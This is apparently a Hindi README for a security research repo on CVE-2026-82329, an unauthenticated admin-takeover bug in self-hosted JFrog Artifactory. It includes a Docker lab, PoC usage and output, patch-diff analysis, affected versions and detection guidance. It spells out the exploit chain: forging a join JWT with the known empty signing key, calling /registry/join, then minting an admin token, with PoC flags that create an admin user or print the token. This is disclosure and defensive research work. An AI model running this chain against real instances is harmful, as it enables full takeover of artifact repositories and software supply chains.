Reproducible Docker lab और CVE-2026-82329 के लिए Python PoC, जो JFrog Artifactory में एक अनप्रमाणित auth-bypass है, जिससे admin takeover होता है, साथ ही patch-diff विश्लेषण और detection मार्गदर्शन के साथ।
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · 2026-08-28 को खुलासा · वास्तविक दुनिया में शोषित।
एक बिना प्रमाणीकरण वाला, नेटवर्क-निकटवर्ती हमलावर डिफ़ॉल्ट सेल्फ-होस्टेड JFrog Artifactory के विरुद्ध प्लेटफ़ॉर्म एडमिनिस्ट्रेटर एक्सेस टोकन जारी करता है। इस निर्देशिका में एक प्रतिलिपि योग्य Docker लैब और एक URL-पैरामीटरीकृत वैलिडेटर PoC शामिल है।
artifactory-oss 7.161.19 (कमजोर, JFrog Access 7.191.11) बनाम 7.161.20 (पैच किया गया, JFrog Access 7.191.14) पर पुनरुत्पादित और A/B-सत्यापित।
मूल कारण विक्रेता पैच से ही प्राप्त किया गया था (दो कंटेनर इमेजों के बीच बंद-स्रोत JFrog Access सेवा का बाइटकोड अंतर), फिर लाइव सिद्ध किया गया — किसी तृतीय-पक्ष लेख से नहीं लिया गया।
getSigningKey("") = pkcs7(<empty>, 32) = — एक पूरी तरह से ज्ञात गुप्त। इसलिए कोई भी एक वैध जॉइन JWT पर हस्ताक्षर कर सकता है (, , ताज़ा , कोई भी , )।0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — कोई प्रमाणीकरण नहीं) → HTTP 201, admin स्कोप के साथ एक SERVICE टोकन लौटाता है (ऑडियंस = Access)।POST /access/api/v1/tokens उस टोकन के साथ, scope=applied-permissions/admin&audience=* → एक पूर्ण एडमिन प्लेटफ़ॉर्म एक्सेस टोकन (यह वास्तविक दुनिया में रिपोर्ट किया गया "एडमिन टोकन जारी करने" का व्यवहार है)।$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] चरण 1 /registry/join -> HTTP 201 SERVICE टोकन जारी (scp=admin)
[+] चरण 2 /access/api/v1/tokens -> HTTP 200 ADMIN टोकन (scp=applied-permissions/admin, aud=*)
[+] चरण 3 एडमिन क्षमता का प्रमाण:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 बाइट्स, केवल-एडमिन; बिना प्रमाणीकरण=401)
GET /access/api/v1/tokens (सभी टोकन सूचीबद्ध करें) -> HTTP 200 (केवल-एडमिन)
[=] कमजोर - बिना प्रमाणीकरण वाले हमलावर ने इस इंस्टेंस पर ADMIN प्राप्त किया (CVE-2026-82329)।
JFrog Access 7.191.11 → 7.191.14 ने ठीक 12 क्लास बदले। सुरक्षा-प्रासंगिक:
JoinKeyAccess.tryResolveJoinKeys()// कमजोर (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" अनुमत
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // खाली की भरोसेमंद सेट में जोड़ी गई
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// पैच किया गया (7.191.14) -> खाली प्रविष्टियाँ फ़िल्टर की गईं
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
कोई अतिरिक्त जॉइन की कॉन्फ़िगर नहीं होने पर (डिफ़ॉल्ट), कॉन्फ़िग मान "" है;
"".split(",") से [""] मिलता है, इसलिए एक खाली JoinKeyHashPair (kid = SHA256("") =
e3b0c442…b855) भरोसेमंद "अतिरिक्त जॉइन की" मैप में प्रवेश करता है। JoinKeyHashPair को भी
कंस्ट्रक्टर में null/blank अस्वीकार करने के लिए कठोर किया गया था।
लाइव डिफ़ॉल्ट इंस्टेंस पर पुष्टि की गई — सर्वर स्टार्टअप लॉग:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
वह kid बिल्कुल SHA256("") है।
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// खाली की का pkcs7 पैडिंग: padLength = 32 -> 32 बाइट्स, प्रत्येक == (byte)32 == 0x20
इसलिए खाली की के लिए जॉइन JWT पर HS256 के साथ 32 बाइट्स 0x20 पर हस्ताक्षर किया जाता है — हमलावर-ज्ञात।
RegistryNoAuthResource (@Path("/v1/registry"), कोई @Authorized नहीं):
@POST @Path("join")
public Response join(String jwtStr) { // बॉडी = कच्चा JWT
JwtToken token = this.joinService.join(jwtStr, ...); // सत्यापित करता है: ताज़ा iat (<30s) + जॉइन-की हस्ताक्षर
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
एक गैर-समाप्त होने वाला, एडमिन-स्कोप वाला, RSA-हस्ताक्षरित एक्सेस टोकन। scope("admin") सेवा टोकन को
फिर POST /access/api/v1/tokens के माध्यम से पूर्ण applied-permissions/admin उपयोगकर्ता टोकन जारी करने की अनुमति है।
ProjectResourceदो एंडपॉइंट @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) में स्थानांतरित हुए
(GET/DELETE {projectKey}/resources), यह पुष्टि करते हुए कि शोषण प्रिमिटिव एक जाली SERVICE
पहचान है और SERVICE-अधिकृत सतह अत्यधिक उजागर थी।
केवल सेल्फ-होस्टेड (क्लाउड पहले ही पैच किया जा चुका है)। नीचे प्रत्येक शाखा में अंतिम रिलीज़ तक कमजोर; युग्मित फिक्स में अपग्रेड करें:
| शाखा | कमजोर ≤ | फिक्स किया गया |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
फिक्स JFrog Access 7.191.14 के साथ आता है।
lab/README.md देखें। संक्षेप में:
cd lab
ART_VER=7.161.19 docker compose up -d # कमजोर (डिफ़ॉल्ट); ~3-4 मिनट प्रतीक्षा करें
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> कमजोर
docker compose down
ART_VER=7.161.20 docker compose up -d # पैच किया गया नियंत्रण
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> कमजोर नहीं (जॉइन HTTP 400)
Artifactory 7.161.x को PostgreSQL की आवश्यकता है (इसकी Access सेवा बंडल किए गए Derby को अस्वीकार करती है), इसलिए लैब में एक postgres साइडकार शामिल है।
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent स्थिति परिवर्तन
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # एडमिन टोकन प्रिंट करें
इसे JFrog Router के सामने जो कुछ भी है उस पर इंगित करें (/access/… पहुंच योग्य)। यह कमजोर
(एडमिन प्राप्त) या कमजोर नहीं (जॉइन अस्वीकृत) रिपोर्ट करता है। केवल उन सिस्टमों पर चलाएं जिनका परीक्षण करने के लिए आप अधिकृत हैं।
POST /access/api/v1/registry/join, विशेष रूप से
तुरंत बाद POST /access/api/v1/tokens।Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
का अर्थ है कि खाली जॉइन की भरोसेमंद है (अपैच किए गए डिफ़ॉल्ट पर मौजूद)।scope=applied-permissions/admin वाले अप्रत्याशित गैर-समाप्त होने वाले टोकन,
audience=*, या सेवा-विषय एडमिन टोकन (sub=<svc>, scp=admin, aud=<access-id>)।kid दावा SHA256("") (e3b0c442…b855) के बराबर है।अपनी शाखा के लिए फिक्स किए गए संस्करण में अपग्रेड करें (ऊपर तालिका)। इसके अतिरिक्त: Artifactory को एक
रिवर्स प्रॉक्सी के पीछे रखें जो /access/api/v1/registry/** को अविश्वसनीय नेटवर्कों को उजागर नहीं करता है, और पैचिंग के बाद जॉइन की घुमाएं + अप्रत्याशित एडमिन टोकन रद्द करें।
इस निर्देशिका में आर्टिफैक्ट: poc/ (वैलिडेटर), lab/ (Docker लैब), analysis/ (पैच अंतर +
डीकंपाइल किए गए साक्ष्य), EVIDENCE.md (कैप्चर किया गया रन आउटपुट)। केवल अधिकृत सुरक्षा अनुसंधान के लिए।